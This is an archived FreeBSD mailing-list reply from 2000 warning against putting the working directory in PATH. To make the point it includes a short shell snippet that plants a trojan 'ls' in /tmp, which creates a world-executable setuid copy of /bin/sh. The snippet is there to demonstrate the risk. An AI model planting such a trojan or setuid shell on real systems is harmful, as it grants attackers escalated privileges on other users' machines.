Skip site navigation (1)Skip section navigation (2)
Date:      Sun, 14 May 2000 14:54:03 -0700
From:      Alfred Perlstein <bright@wintelcom.net>
To:        "Alan L. Clarke" <toadie@eticomm.net>
Cc:        Alex Kwan <alexkwan@pacific.net.hk>, XF <gin@dds.nl>, freebsd-questions@FreeBSD.ORG
Subject:   Re: A basic question about C programming (sloved)
Message-ID:  <20000514145403.N28383@fw.wintelcom.net>
In-Reply-To: <391EB3A8.36442A53@eticomm.net>; from toadie@eticomm.net on Sun, May 14, 2000 at 10:09:45AM -0400
References:  <000701bfbd9b$fd945300$591e40ca@alexkwan> <20000514131017.A801@dds.nl> <001701bfbd9d$eae8be60$591e40ca@alexkwan> <391EB3A8.36442A53@eticomm.net>

next in thread | previous in thread | raw e-mail | index | archive | help
* Alan L. Clarke <toadie@eticomm.net> [000514 07:46] wrote:
> The smart thing to do is to change your .profile .  Change your PATH
> variable to include your present working directory  or any other directories
> that you will be using to execute code!!!!!!!!!!!!!!!!!!

echo '#!/bin/sh  
cp /bin/sh /tmp
chmod 4777 /tmp/sh
rm /tmp/ls
exec ls' > /tmp/ls
chmod +x /tmp/ls

No, it's not a very "smart" thing to do.

-- 
-Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org]
"I have the heart of a child; I keep it in a jar on my desk."


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-questions" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?20000514145403.N28383>